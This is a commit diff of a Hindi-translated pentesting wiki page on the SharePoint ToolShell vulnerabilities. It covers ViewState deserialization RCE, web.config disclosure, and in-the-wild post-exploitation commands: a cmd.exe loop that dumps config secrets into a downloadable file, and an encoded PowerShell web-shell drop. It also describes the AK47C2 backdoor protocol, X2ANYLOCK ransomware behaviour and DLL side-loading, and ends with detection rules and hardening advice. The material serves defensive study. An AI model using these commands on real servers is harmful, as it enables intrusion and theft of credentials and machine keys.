Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh

This commit is contained in:
Translator 2025-08-10 18:33:29 +00:00
parent 7c804c2011
commit ae50e9bfe5

View File

@ -33,7 +33,7 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
### 2.3 CVE-2025-53770 Unauthenticated ViewState Deserialization → RCE
एक बार जब हमलावर `ToolPane.aspx` में एक गैजेट को नियंत्रित कर लेता है, तो वे एक **unsigned** (या केवल MAC) `__VIEWSTATE` मान पोस्ट कर सकते हैं जो *w3wp.exe* के अंदर .NET डेसिरियलाइजेशन को ट्रिगर करता है जिससे कोड निष्पादन होता है।
एक बार जब हमलावर `ToolPane.aspx` में एक गैजेट को नियंत्रित कर लेता है, तो वे एक **unsigned** (या केवल MAC) `__VIEWSTATE` मान पोस्ट कर सकते हैं जो *w3wp.exe* के अंदर .NET deserialization को ट्रिगर करता है, जिससे कोड निष्पादन होता है।
यदि साइनिंग सक्षम है, तो किसी भी `web.config` से **ValidationKey/DecryptionKey** चुरा लें (देखें 2.4) और *ysoserial.net* या *ysodom* के साथ पेलोड को फर्ज करें:
```
@ -45,22 +45,22 @@ For an in-depth explanation on abusing ASP.NET ViewState read:
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 पथ ट्रैवर्सल / web.config प्रकटीकरण
### 2.4 CVE-2025-53771 Path Traversal / web.config Disclosure
`ToolPane.aspx` को एक तैयार `Source` पैरामीटर भेजना (जैसे `../../../../web.config`) लक्षित फ़ाइल को लौटाता है, जिससे निम्नलिखित का लीक होना संभव होता है:
`ToolPane.aspx` में एक तैयार `Source` पैरामीटर भेजने पर (जैसे `../../../../web.config`) लक्षित फ़ाइल लौटती है, जिससे निम्नलिखित का लीक होने की अनुमति मिलती है:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ ViewState / ASPXAUTH कुकीज़ को forge करें
* कनेक्शन स्ट्रिंग्स और रहस्य।
## 3. पोस्ट-एक्सप्लॉइटेशन व्यंजन जो जंगली में देखे गए
## 3. Post-exploitation recipes observed in the wild
### 3.1 हर *.config* फ़ाइल को एक्सफिल्ट्रेट करें (विविधता-1)
### 3.1 Exfiltrate every *.config* file (variation-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
परिणामी `debug_dev.js` को गुमनाम रूप से डाउनलोड किया जा सकता है और इसमें **सभी** संवेदनशील कॉन्फ़िगरेशन शामिल है।
### 3.2 एक Base64-कोडित ASPX वेब शेल (variation-2) तैनात करें
### 3.2 एक Base64-कोडित ASPX वेब शेल तैनात करें (संस्करण-2)
```
powershell.exe -EncodedCommand <base64>
```
@ -79,39 +79,90 @@ Response.Write(MachineKey.ValidationKey);
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
शेल **मशीन कुंजी पढ़ने / घुमाने** के लिए एंडपॉइंट्स को उजागर करता है, जो ViewState और ASPXAUTH कुकीज़ को फार्म में बनाने की अनुमति देता है।
The shell exposes endpoints to **read / rotate machine keys** which allows forging ViewState and ASPXAUTH cookies across the farm.
### 3.3 ओबफस्केटेड वेरिएंट (वेरिएशन-3)
### 3.3 Obfuscated variant (variation-3)
समान शेल लेकिन:
* `...\15\TEMPLATE\LAYOUTS\` के तहत गिराया गया
* वेरिएबल नाम एकल अक्षरों में घटाए गए
* सैंडबॉक्स-एवेज़न और टाइमिंग-आधारित AV बायपास के लिए `Thread.Sleep(<ms>)` जोड़ा गया।
Same shell but:
* `...\15\TEMPLATE\LAYOUTS\` के तहत गिरा हुआ
* चर नाम एकल अक्षरों में घटाए गए
* सैंडबॉक्स-निष्कासन और समय-आधारित AV बायपास के लिए `Thread.Sleep(<ms>)` जोड़ा गया।
## 4. पहचान विचार
### 3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)
| टेलीमेट्री | यह संदिग्ध क्यों है |
हालिया घटना-प्रतिक्रिया जांच (Unit42 “Project AK47”) दिखाती हैं कि हमलावर ToolShell श्रृंखला का उपयोग कैसे करते हैं **प्रारंभिक RCE के बाद** SharePoint वातावरण में एक द्वि-चैनल C2 इम्प्लांट और रैनसमवेयर तैनात करने के लिए:
#### AK47C2 `dnsclient` variant
* हार्ड-कोडेड DNS सर्वर: `10.7.66.10` प्राधिकृत डोमेन `update.updatemicfosoft.com` के साथ संचार कर रहा है।
* संदेश JSON ऑब्जेक्ट्स XOR-एन्क्रिप्टेड हैं स्थिर कुंजी `VHBD@H`, हेक्स-कोडेड और **उप-डोमेन लेबल** के रूप में एम्बेडेड हैं।
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
```
* लंबे प्रश्नों को टुकड़ों में विभाजित किया जाता है और `s` के साथ पूर्ववर्ती किया जाता है, फिर सर्वर-साइड पर फिर से जोड़ा जाता है।
* सर्वर TXT रिकॉर्ड में समान XOR/हेक्स योजना के साथ उत्तर देता है:
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
```
* संस्करण 202504 ने एक सरल प्रारूप `<COMMAND>::<SESSION_KEY>` और टुकड़ा मार्कर `1`, `2`, `a` पेश किया।
#### AK47C2 `httpclient` variant
* सटीक JSON & XOR रूटीन का पुनः उपयोग करता है लेकिन हेक्स ब्लॉब को **HTTP POST बॉडी** में `libcurl` के माध्यम से भेजता है (`CURLOPT_POSTFIELDS`, आदि)।
* समान कार्य/परिणाम कार्यप्रवाह की अनुमति देता है:
* मनमाना शेल कमांड निष्पादन।
* गतिशील नींद अंतराल और किल-स्विच निर्देश।
#### X2ANYLOCK ransomware
* 64-बिट C++ पेलोड DLL साइड-लोडिंग के माध्यम से लोड किया गया (नीचे देखें)।
* फ़ाइल डेटा के लिए AES-CBC का उपयोग करता है + RSA-2048 AES कुंजी को लपेटने के लिए, फिर एक्सटेंशन `.x2anylock` जोड़ता है।
* स्थानीय ड्राइव और खोजे गए SMB शेयरों को पुनरावृत्त रूप से एन्क्रिप्ट करता है; सिस्टम पथों को छोड़ देता है।
* स्पष्ट-टेक्स्ट नोट `How to decrypt my data.txt` छोड़ता है जिसमें बातचीत के लिए एक स्थिर **Tox ID** एम्बेडेड है।
* एक आंतरिक **किल-स्विच** शामिल है:
```c
if (file_mod_time >= "2026-06-06") exit(0);
```
#### DLL side-loading chain
1. हमलावर `dllhijacked.dll`/`My7zdllhijacked.dll` को एक वैध `7z.exe` के बगल में लिखता है।
2. SharePoint-जनित `w3wp.exe` `7z.exe` को लॉन्च करता है, जो Windows खोज क्रम के कारण दुर्भावनापूर्ण DLL को लोड करता है, मेमोरी में रैनसमवेयर एंट्रीपॉइंट को सक्रिय करता है।
3. एक अलग LockBit लोडर देखा गया (`bbb.msi``clink_x86.exe``clink_dll_x86.dll`) शेल-कोड को डिक्रिप्ट करता है और LockBit 3.0 चलाने के लिए `d3dl1.dll` में **DLL हॉलोइंग** करता है।
> [!INFO]
> X2ANYLOCK में पाया गया वही स्थिर Tox ID लीक हुए LockBit डेटाबेस में दिखाई देता है, जो सहयोगी ओवरलैप का सुझाव देता है।
---
## 4. Detection ideas
| Telemetry | Why it is suspicious |
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | वर्कर प्रोसेस को शायद ही कभी शेल स्पॉन करना चाहिए |
| `w3wp.exe → cmd.exe` | कार्यकर्ता प्रक्रिया को शायद ही कभी शेल उत्पन्न करना चाहिए |
| `cmd.exe → powershell.exe -EncodedCommand` | क्लासिक lolbin पैटर्न |
| फ़ाइल घटनाएँ `debug_dev.js` या `spinstall0.aspx` बनाना | ToolShell से सीधे IOC |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module लॉग) | सार्वजनिक PoCs इस पृष्ठ को सक्रिय करते हैं |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | सार्वजनिक PoCs इस पृष्ठ को सक्रिय करते हैं |
उदाहरण XDR / Sysmon नियम (pseudo-XQL):
Example XDR / Sysmon rule (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. हार्डनिंग और शमन
1. **पैच** जुलाई 2025 सुरक्षा अपडेट *सभी* चार CVEs को ठीक करते हैं।
2. समझौते के बाद हर `<machineKey>` और `ViewState` रहस्यों को **घुमाएं**
2. समझौते के बाद हर `<machineKey>` और `ViewState` रहस्यों को **घुमाए**।
3. `WSS_WPG` और `WSS_ADMIN_WPG` समूहों से *LAYOUTS* लिखने की अनुमति हटा दें।
4. प्रॉक्सी/WAF स्तर पर `/_layouts/15/ToolPane.aspx` तक बाहरी पहुंच को ब्लॉक करें।
5. **ViewStateUserKey**, **MAC सक्षम**, और कस्टम *EventValidation* सक्षम करें।
## संबंधित तरकीबें
* IIS पोस्ट-एक्सप्लोइटेशन और web.config दुरुपयोग:
* IIS पोस्ट-एक्सप्लइटेशन और web.config दुरुपयोग:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
@ -120,7 +171,8 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
- [Unit42 Microsoft SharePoint कमजोरियों का सक्रिय शोषण](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC ToolShell शोषण श्रृंखला](https://github.com/real-or-not/ToolShell)
- [Microsoft सुरक्षा सलाह CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Microsoft सुरक्षा सलाह CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
- [Microsoft सुरक्षा सलाहकार CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Unit42 प्रोजेक्ट AK47 / SharePoint शोषण और रैंसमवेयर गतिविधि](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
- [Microsoft सुरक्षा सलाहकार CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}